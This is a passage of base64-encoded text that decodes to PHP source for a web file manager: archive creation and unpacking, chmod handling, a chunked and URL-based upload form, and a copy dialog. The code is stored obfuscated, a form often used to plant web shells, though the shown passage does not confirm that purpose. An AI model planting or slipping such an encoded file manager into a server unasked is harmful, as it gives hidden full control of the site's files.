XB0eSgkZmlsZXMpKSB7XG4gICAgICAgIGNoZGlyKCRwYXRoKTtcblxuICAgICAgICBpZiAoY291bnQoJGZpbGVzKSA9PSAxKSB7XG4gICAgICAgICAgICAkb25lX2ZpbGUgPSByZXNldCgkZmlsZXMpO1xuICAgICAgICAgICAgJG9uZV9maWxlID0gYmFzZW5hbWUoJG9uZV9maWxlKTtcbiAgICAgICAgICAgICR6aXBuYW1lID0gJG9uZV9maWxlIC4gJ18nIC4gZGF0ZSgneW1kX0hpcycpIC4gJy4nIC4gJGV4dDtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICR6aXBuYW1lID0gJ2FyY2hpdmVfJyAuIGRhdGUoJ3ltZF9IaXMnKSAuICcuJyAuICRleHQ7XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoJGV4dCA9PSAnemlwJykge1xuICAgICAgICAgICAgJHppcHBlciA9IG5ldyBGTV9aaXBwZXIoKTtcbiAgICAgICAgICAgICRyZXMgPSAkemlwcGVyLT5jcmVhdGUoJHppcG5hbWUsICRmaWxlcyk7XG4gICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICd0YXInKSB7XG4gICAgICAgICAgICAkdGFyID0gbmV3IEZNX1ppcHBlcl9UYXIoKTtcbiAgICAgICAgICAgICRyZXMgPSAkdGFyLT5jcmVhdGUoJHppcG5hbWUsICRmaWxlcyk7XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoJHJlcykge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnQXJjaGl2ZScpIC4gJyA8Yj4lczxcL2I+ICcgLiBsbmcoJ0NyZWF0ZWQnKSwgZm1fZW5jKCR6aXBuYW1lKSkpO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0FyY2hpdmUgbm90IGNyZWF0ZWQnKSwgJ2Vycm9yJyk7XG4gICAgICAgIH1cbiAgICB9IGVsc2Uge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnTm90aGluZyBzZWxlY3RlZCcpLCAnYWxlcnQnKTtcbiAgICB9XG5cbiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xufVxuXG5pZiAoaXNzZXQoJF9QT1NUWyd1bnppcCddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkge1xuXG4gICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKFwiSW52YWxpZCBUb2tlbi5cIiksICdlcnJvcicpO1xuICAgICAgICBkaWUoXCJJbnZhbGlkIFRva2VuLlwiKTtcbiAgICB9XG5cbiAgICAkdW56aXAgPSB1cmxkZWNvZGUoJF9QT1NUWyd1bnppcCddKTtcbiAgICAkdW56aXAgPSBmbV9jbGVhbl9wYXRoKCR1bnppcCk7XG4gICAgJHVuemlwID0gc3RyX3JlcGxhY2UoJ1wvJywgJycsICR1bnppcCk7XG4gICAgJGlzVmFsaWQgPSBmYWxzZTtcblxuICAgICRwYXRoID0gRk1fUk9PVF9QQVRIO1xuICAgIGlmIChGTV9QQVRIICE9ICcnKSB7XG4gICAgICAgICRwYXRoIC49ICdcLycgLiBGTV9QQVRIO1xuICAgIH1cblxuICAgIGlmICgkdW56aXAgIT0gJycgJiYgaXNfZmlsZSgkcGF0aCAuICdcLycgLiAkdW56aXApKSB7XG4gICAgICAgICR6aXBfcGF0aCA9ICRwYXRoIC4gJ1wvJyAuICR1bnppcDtcbiAgICAgICAgJGV4dCA9IHBhdGhpbmZvKCR6aXBfcGF0aCwgUEFUSElORk9fRVhURU5TSU9OKTtcbiAgICAgICAgJGlzVmFsaWQgPSB0cnVlO1xuICAgIH0gZWxzZSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICB9XG5cbiAgICBpZiAoKCRleHQgPT0gXCJ6aXBcIiAmJiAhY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpIHx8ICgkZXh0ID09IFwidGFyXCIgJiYgIWNsYXNzX2V4aXN0cygnUGhhckRhdGEnKSkpIHtcbiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ09wZXJhdGlvbnMgd2l0aCBhcmNoaXZlcyBhcmUgbm90IGF2YWlsYWJsZScpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuXG4gICAgaWYgKCRpc1ZhbGlkKSB7XG4gICAgICAgICR0b2ZvbGRlciA9ICcnO1xuICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWyd0b2ZvbGRlciddKSkge1xuICAgICAgICAgICAgJHRvZm9sZGVyID0gcGF0aGluZm8oJHppcF9wYXRoLCBQQVRISU5GT19GSUxFTkFNRSk7XG4gICAgICAgICAgICBpZiAoZm1fbWtkaXIoJHBhdGggLiAnXC8nIC4gJHRvZm9sZGVyLCB0cnVlKSkge1xuICAgICAgICAgICAgICAgICRwYXRoIC49ICdcLycgLiAkdG9mb2xkZXI7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoJGV4dCA9PSBcInppcFwiKSB7XG4gICAgICAgICAgICAkemlwcGVyID0gbmV3IEZNX1ppcHBlcigpO1xuICAgICAgICAgICAgJHJlcyA9ICR6aXBwZXItPnVuemlwKCR6aXBfcGF0aCwgJHBhdGgpO1xuICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSBcInRhclwiKSB7XG4gICAgICAgICAgICB0cnkge1xuICAgICAgICAgICAgICAgICRnemlwcGVyID0gbmV3IFBoYXJEYXRhKCR6aXBfcGF0aCk7XG4gICAgICAgICAgICAgICAgaWYgKEAkZ3ppcHBlci0+ZXh0cmFjdFRvKCRwYXRoLCBudWxsLCB0cnVlKSkge1xuICAgICAgICAgICAgICAgICAgICAkcmVzID0gdHJ1ZTtcbiAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAkcmVzID0gZmFsc2U7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7XG4gICAgICAgICAgICAgICAgJHJlcyA9IHRydWU7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoJHJlcykge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0FyY2hpdmUgdW5wYWNrZWQnKSk7XG4gICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnQXJjaGl2ZSBub3QgdW5wYWNrZWQnKSwgJ2Vycm9yJyk7XG4gICAgICAgIH1cbiAgICB9IGVsc2Uge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnRmlsZSBub3QgZm91bmQnKSwgJ2Vycm9yJyk7XG4gICAgfVxuICAgICRGTV9QQVRIID0gRk1fUEFUSDtcbiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG59XG5cbmlmIChpc3NldCgkX1BPU1RbJ2NobW9kJ10sICRfUE9TVFsndG9rZW4nXSkgJiYgIUZNX1JFQURPTkxZICYmICFGTV9JU19XSU4pIHtcblxuICAgIGlmICghdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZyhcIkludmFsaWQgVG9rZW4uXCIpLCAnZXJyb3InKTtcbiAgICAgICAgZGllKFwiSW52YWxpZCBUb2tlbi5cIik7XG4gICAgfVxuXG4gICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XG4gICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XG4gICAgfVxuXG4gICAgJGZpbGUgPSAkX1BPU1RbJ2NobW9kJ107XG4gICAgJGZpbGUgPSBmbV9jbGVhbl9wYXRoKCRmaWxlKTtcbiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZmlsZSk7XG4gICAgaWYgKCRmaWxlID09ICcnIHx8ICghaXNfZmlsZSgkcGF0aCAuICdcLycgLiAkZmlsZSkgJiYgIWlzX2RpcigkcGF0aCAuICdcLycgLiAkZmlsZSkpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuXG4gICAgJG1vZGUgPSAwO1xuICAgIGlmICghZW1wdHkoJF9QT1NUWyd1ciddKSkge1xuICAgICAgICAkbW9kZSB8PSAwNDAwO1xuICAgIH1cbiAgICBpZiAoIWVtcHR5KCRfUE9TVFsndXcnXSkpIHtcbiAgICAgICAgJG1vZGUgfD0gMDIwMDtcbiAgICB9XG4gICAgaWYgKCFlbXB0eSgkX1BPU1RbJ3V4J10pKSB7XG4gICAgICAgICRtb2RlIHw9IDAxMDA7XG4gICAgfVxuICAgIGlmICghZW1wdHkoJF9QT1NUWydnciddKSkge1xuICAgICAgICAkbW9kZSB8PSAwMDQwO1xuICAgIH1cbiAgICBpZiAoIWVtcHR5KCRfUE9TVFsnZ3cnXSkpIHtcbiAgICAgICAgJG1vZGUgfD0gMDAyMDtcbiAgICB9XG4gICAgaWYgKCFlbXB0eSgkX1BPU1RbJ2d4J10pKSB7XG4gICAgICAgICRtb2RlIHw9IDAwMTA7XG4gICAgfVxuICAgIGlmICghZW1wdHkoJF9QT1NUWydvciddKSkge1xuICAgICAgICAkbW9kZSB8PSAwMDA0O1xuICAgIH1cbiAgICBpZiAoIWVtcHR5KCRfUE9TVFsnb3cnXSkpIHtcbiAgICAgICAgJG1vZGUgfD0gMDAwMjtcbiAgICB9XG4gICAgaWYgKCFlbXB0eSgkX1BPU1RbJ294J10pKSB7XG4gICAgICAgICRtb2RlIHw9IDAwMDE7XG4gICAgfVxuXG4gICAgaWYgKEBjaG1vZCgkcGF0aCAuICdcLycgLiAkZmlsZSwgJG1vZGUpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdQZXJtaXNzaW9ucyBjaGFuZ2VkJykpO1xuICAgIH0gZWxzZSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdQZXJtaXNzaW9ucyBub3QgY2hhbmdlZCcpLCAnZXJyb3InKTtcbiAgICB9XG5cbiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xufVxuXG5cbiRwYXRoID0gRk1fUk9PVF9QQVRIO1xuaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAkcGF0aCAuPSAnXC8nIC4gRk1fUEFUSDtcbn1cblxuaWYgKCFpc19kaXIoJHBhdGgpKSB7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9Jyk7XG59XG5cbiRwYXJlbnQgPSBmbV9nZXRfcGFyZW50X3BhdGgoRk1fUEFUSCk7XG5cbiRvYmplY3RzID0gaXNfcmVhZGFibGUoJHBhdGgpID8gc2NhbmRpcigkcGF0aCkgOiBhcnJheSgpO1xuJGZvbGRlcnMgPSBhcnJheSgpO1xuJGZpbGVzID0gYXJyYXkoKTtcbiRjdXJyZW50X3BhdGggPSBhcnJheV9zbGljZShleHBsb2RlKFwiXC9cIiwgJHBhdGgpLCAtMSlbMF07XG5pZiAoaXNfYXJyYXkoJG9iamVjdHMpICYmIGZtX2lzX2V4Y2x1ZGVfaXRlbXMoJGN1cnJlbnRfcGF0aCwgJHBhdGgpKSB7XG4gICAgZm9yZWFjaCAoJG9iamVjdHMgYXMgJGZpbGUpIHtcbiAgICAgICAgaWYgKCRmaWxlID09ICcuJyB8fCAkZmlsZSA9PSAnLi4nKSB7XG4gICAgICAgICAgICBjb250aW51ZTtcbiAgICAgICAgfVxuICAgICAgICBpZiAoIUZNX1NIT1dfSElEREVOICYmIHN1YnN0cigkZmlsZSwgMCwgMSkgPT09ICcuJykge1xuICAgICAgICAgICAgY29udGludWU7XG4gICAgICAgIH1cbiAgICAgICAgJG5ld19wYXRoID0gJHBhdGggLiAnXC8nIC4gJGZpbGU7XG4gICAgICAgIGlmIChAaXNfZmlsZSgkbmV3X3BhdGgpICYmIGZtX2lzX2V4Y2x1ZGVfaXRlbXMoJGZpbGUsICRuZXdfcGF0aCkpIHtcbiAgICAgICAgICAgICRmaWxlc1tdID0gJGZpbGU7XG4gICAgICAgIH0gZWxzZWlmIChAaXNfZGlyKCRuZXdfcGF0aCkgJiYgJGZpbGUgIT0gJy4nICYmICRmaWxlICE9ICcuLicgJiYgZm1faXNfZXhjbHVkZV9pdGVtcygkZmlsZSwgJG5ld19wYXRoKSkge1xuICAgICAgICAgICAgJGZvbGRlcnNbXSA9ICRmaWxlO1xuICAgICAgICB9XG4gICAgfVxufVxuXG5pZiAoIWVtcHR5KCRmaWxlcykpIHtcbiAgICBuYXRjYXNlc29ydCgkZmlsZXMpO1xufVxuaWYgKCFlbXB0eSgkZm9sZGVycykpIHtcbiAgICBuYXRjYXNlc29ydCgkZm9sZGVycyk7XG59XG5cbmlmIChpc3NldCgkX0dFVFsndXBsb2FkJ10pICYmICFGTV9SRUFET05MWSkge1xuICAgIGZtX3Nob3dfaGVhZGVyKCk7XG4gICAgZm1fc2hvd19uYXZfcGF0aChGTV9QQVRIKTtcbiAgICBmdW5jdGlvbiBnZXRVcGxvYWRFeHQoKVxuICAgIHtcbiAgICAgICAgJGV4dEFyciA9IGV4cGxvZGUoJywnLCBGTV9VUExPQURfRVhURU5TSU9OKTtcbiAgICAgICAgaWYgKEZNX1VQTE9BRF9FWFRFTlNJT04gJiYgJGV4dEFycikge1xuICAgICAgICAgICAgYXJyYXlfd2FsaygkZXh0QXJyLCBmdW5jdGlvbiAoJiR4KSB7XG4gICAgICAgICAgICAgICAgJHggPSBcIi4keFwiO1xuICAgICAgICAgICAgfSk7XG4gICAgICAgICAgICByZXR1cm4gaW1wbG9kZSgnLCcsICRleHRBcnIpO1xuICAgICAgICB9XG4gICAgICAgIHJldHVybiAnJztcbiAgICB9XG4gICAgPz5cbiAgICA8P3BocCBwcmludF9leHRlcm5hbCgnY3NzLWRyb3B6b25lJyk7ID8+XG4gICAgPGRpdiBjbGFzcz1cInBhdGhcIj5cblxuICAgICAgICA8ZGl2IGNsYXNzPVwiY2FyZCBtYi0yIGZtLXVwbG9hZC13cmFwcGVyXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY2FyZC1oZWFkZXJcIj5cbiAgICAgICAgICAgICAgICA8dWwgY2xhc3M9XCJuYXYgbmF2LXRhYnMgY2FyZC1oZWFkZXItdGFic1wiPlxuICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9XCJuYXYtaXRlbVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9XCJuYXYtbGluayBhY3RpdmVcIiBocmVmPVwiI2ZpbGVVcGxvYWRlclwiIGRhdGEtdGFyZ2V0PVwiI2ZpbGVVcGxvYWRlclwiPjxpIGNsYXNzPVwiZmEgZmEtYXJyb3ctY2lyY2xlLW8tdXBcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnVXBsb2FkaW5nRmlsZXMnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxcL2xpPlxuICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9XCJuYXYtaXRlbVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9XCJuYXYtbGlua1wiIGhyZWY9XCIjdXJsVXBsb2FkZXJcIiBjbGFzcz1cImpzLXVybC11cGxvYWRcIiBkYXRhLXRhcmdldD1cIiN1cmxVcGxvYWRlclwiPjxpIGNsYXNzPVwiZmEgZmEtbGlua1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdVcGxvYWQgZnJvbSBVUkwnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxcL2xpPlxuICAgICAgICAgICAgICAgIDxcL3VsPlxuICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQtYm9keVwiPlxuICAgICAgICAgICAgICAgIDxwIGNsYXNzPVwiY2FyZC10ZXh0XCI+XG4gICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCI/cD08P3BocCBlY2hvIEZNX1BBVEggPz5cIiBjbGFzcz1cImZsb2F0LXJpZ2h0XCI+PGkgY2xhc3M9XCJmYSBmYS1jaGV2cm9uLWNpcmNsZS1sZWZ0IGdvLWJhY2tcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnQmFjaycpID8+PFwvYT5cbiAgICAgICAgICAgICAgICAgICAgPHN0cm9uZz48P3BocCBlY2hvIGxuZygnRGVzdGluYXRpb25Gb2xkZXInKSA/PjxcL3N0cm9uZz46IDw/cGhwIGVjaG8gZm1fZW5jKGZtX2NvbnZlcnRfd2luKEZNX1BBVEgpKSA/PlxuICAgICAgICAgICAgICAgIDxcL3A+XG5cbiAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249XCI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoRk1fU0VMRl9VUkwpIC4gJz9wPScgLiBmbV9lbmMoRk1fUEFUSCkgPz5cIiBjbGFzcz1cImRyb3B6b25lIGNhcmQtdGFicy1jb250YWluZXJcIiBpZD1cImZpbGVVcGxvYWRlclwiIGVuY3R5cGU9XCJtdWx0aXBhcnRcL2Zvcm0tZGF0YVwiPlxuICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwXCIgdmFsdWU9XCI8P3BocCBlY2hvIGZtX2VuYyhGTV9QQVRIKSA/PlwiPlxuICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJmdWxscGF0aFwiIGlkPVwiZnVsbHBhdGhcIiB2YWx1ZT1cIjw/cGhwIGVjaG8gZm1fZW5jKEZNX1BBVEgpID8+XCI+XG4gICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInRva2VuXCIgdmFsdWU9XCI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImZhbGxiYWNrXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgbmFtZT1cImZpbGVcIiB0eXBlPVwiZmlsZVwiIG11bHRpcGxlIFwvPlxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgPFwvZm9ybT5cblxuICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJ1cGxvYWQtdXJsLXdyYXBwZXIgY2FyZC10YWJzLWNvbnRhaW5lciBoaWRkZW5cIiBpZD1cInVybFVwbG9hZGVyXCI+XG4gICAgICAgICAgICAgICAgICAgIDxmb3JtIGlkPVwianMtZm9ybS11cmwtdXBsb2FkXCIgY2xhc3M9XCJyb3cgcm93LWNvbHMtbGctYXV0byBnLTMgYWxpZ24taXRlbXMtY2VudGVyXCIgb25zdWJtaXQ9XCJyZXR1cm4gdXBsb2FkX2Zyb21fdXJsKHRoaXMpO1wiIG1ldGhvZD1cIlBPU1RcIiBhY3Rpb249XCJcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInR5cGVcIiB2YWx1ZT1cInVwbG9hZFwiIGFyaWEtbGFiZWw9XCJoaWRkZW5cIiBhcmlhLWhpZGRlbj1cInRydWVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwidXJsXCIgcGxhY2Vob2xkZXI9XCJVUkxcIiBuYW1lPVwidXBsb2FkdXJsXCIgcmVxdWlyZWQgY2xhc3M9XCJmb3JtLWNvbnRyb2xcIiBzdHlsZT1cIndpZHRoOiA4MCVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInRva2VuXCIgdmFsdWU9XCI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1wcmltYXJ5IG1zLTNcIj48P3BocCBlY2hvIGxuZygnVXBsb2FkJykgPz48XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibGRzLWZhY2Vib29rXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj48XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj48XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj48XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Zvcm0+XG4gICAgICAgICAgICAgICAgICAgIDxkaXYgaWQ9XCJqcy11cmwtdXBsb2FkX19saXN0XCIgY2xhc3M9XCJjb2wtOSBtdC0zXCI+PFwvZGl2PlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgPFwvZGl2PlxuICAgIDxcL2Rpdj5cbiAgICA8P3BocCBwcmludF9leHRlcm5hbCgnanMtZHJvcHpvbmUnKTsgPz5cbiAgICA8c2NyaXB0PlxuICAgICAgICBEcm9wem9uZS5vcHRpb25zLmZpbGVVcGxvYWRlciA9IHtcbiAgICAgICAgICAgIGNodW5raW5nOiB0cnVlLFxuICAgICAgICAgICAgY2h1bmtTaXplOiA8P3BocCBlY2hvIFVQTE9BRF9DSFVOS19TSVpFOyA/PixcbiAgICAgICAgICAgIGZvcmNlQ2h1bmtpbmc6IHRydWUsXG4gICAgICAgICAgICByZXRyeUNodW5rczogdHJ1ZSxcbiAgICAgICAgICAgIHJldHJ5Q2h1bmtzTGltaXQ6IDMsXG4gICAgICAgICAgICBwYXJhbGxlbFVwbG9hZHM6IDEsXG4gICAgICAgICAgICBwYXJhbGxlbENodW5rVXBsb2FkczogZmFsc2UsXG4gICAgICAgICAgICB0aW1lb3V0OiAxMjAwMDAsXG4gICAgICAgICAgICBtYXhGaWxlc2l6ZTogXCI8P3BocCBlY2hvIE1BWF9VUExPQURfU0laRTsgPz5cIixcbiAgICAgICAgICAgIGFjY2VwdGVkRmlsZXM6IFwiPD9waHAgZWNobyBnZXRVcGxvYWRFeHQoKSA/PlwiLFxuICAgICAgICAgICAgaW5pdDogZnVuY3Rpb24oKSB7XG4gICAgICAgICAgICAgICAgdGhpcy5vbihcInNlbmRpbmdcIiwgZnVuY3Rpb24oZmlsZSwgeGhyLCBmb3JtRGF0YSkge1xuICAgICAgICAgICAgICAgICAgICBsZXQgX3BhdGggPSAoZmlsZS5mdWxsUGF0aCkgPyBmaWxlLmZ1bGxQYXRoIDogZmlsZS5uYW1lO1xuICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcImZ1bGxwYXRoXCIpLnZhbHVlID0gX3BhdGg7XG4gICAgICAgICAgICAgICAgICAgIHhoci5vbnRpbWVvdXQgPSAoZnVuY3Rpb24oKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICB0b2FzdCgnRXJyb3I6IFNlcnZlciBUaW1lb3V0Jyk7XG4gICAgICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgIH0pLm9uKFwic3VjY2Vzc1wiLCBmdW5jdGlvbihyZXMpIHtcbiAgICAgICAgICAgICAgICAgICAgdHJ5IHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGxldCBfcmVzcG9uc2UgPSBKU09OLnBhcnNlKHJlcy54aHIucmVzcG9uc2UpO1xuXG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoX3Jlc3BvbnNlLnN0YXR1cyA9PSBcImVycm9yXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB0b2FzdChfcmVzcG9uc2UuaW5mbyk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIH0gY2F0Y2ggKGUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIHRvYXN0KFwiRXJyb3I6IEludmFsaWQgSlNPTiByZXNwb25zZVwiKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH0pLm9uKFwiZXJyb3JcIiwgZnVuY3Rpb24oZmlsZSwgcmVzcG9uc2UpIHtcbiAgICAgICAgICAgICAgICAgICAgdG9hc3QocmVzcG9uc2UpO1xuICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgPFwvc2NyaXB0PlxuPD9waHBcbiAgICBmbV9zaG93X2Zvb3RlcigpO1xuICAgIGV4aXQ7XG59XG5cbmlmIChpc3NldCgkX1BPU1RbJ2NvcHknXSkgJiYgIUZNX1JFQURPTkxZKSB7XG4gICAgJGNvcHlfZmlsZXMgPSBpc3NldCgkX1BPU1RbJ2ZpbGUnXSkgPyAkX1BPU1RbJ2ZpbGUnXSA6IG51bGw7XG4gICAgaWYgKCFpc19hcnJheSgkY29weV9maWxlcykgfHwgZW1wdHkoJGNvcHlfZmlsZXMpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdOb3RoaW5nIHNlbGVjdGVkJyksICdhbGVydCcpO1xuICAgICAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcbiAgICB9XG5cbiAgICBmbV9zaG93X2hlYWRlcigpO1xuICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7XG4/PlxuICAgIDxkaXYgY2xhc3M9XCJwYXRoXCI+XG4gICAgICAgIDxkaXYgY2xhc3M9XCJjYXJkXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY2FyZC1oZWFkZXJcIj5cbiAgICAgICAgICAgICAgICA8aDY+PD9waHAgZWNobyBsbmcoJ0NvcHlpbmcnKSA/PjxcL2g2PlxuICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQtYm9keVwiPlxuICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj1cIlwiIG1ldGhvZD1cInBvc3RcIj5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwicFwiIHZhbHVlPVwiPD9waHAgZWNobyBmbV9lbmMoRk1fUEFUSCkgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiZmluaXNoXCIgdmFsdWU9XCIxXCI+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRjb3B5X2ZpbGVzIGFzICRjZikge1xuICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiZmlsZVtdXCIgdmFsdWU9XCInIC4gZm1fZW5jKCRjZikgLiAnXCI+JyAuIFBIUF9FT0w7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgPz5cbiAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9XCJicmVhay13b3JkXCI+PHN0cm9uZz48P3BocCBlY2hvIGxuZygnRmlsZXMnKSA/PjxcL3N0cm9uZz46IDxiPjw/cGhwIGVjaG8gaW1wbG9kZSgnPFwvYj4sIDxiPicsICRjb3B5X2ZpbGVzKSA/PjxcL2I+PFwvcD5cbiAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9XCJicmVhay13b3JkXCI+PHN0cm9uZz48P3BocCBlY2hvIGxuZygnU291cmNlRm9sZGVyJykgPz48XC9zdHJvbmc+OiA8P3BocCBlY2hvIGZtX2VuYyhmbV9jb252ZXJ0X3dpbihGTV9ST09UX1BBVEggLiAnXC8nIC4gRk1fUEFUSCkpID8+PGJyPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImlucF9jb3B5X3RvXCI+PHN0cm9uZz48P3BocCBlY2hvIGxuZygnRGVzdGluYXRpb25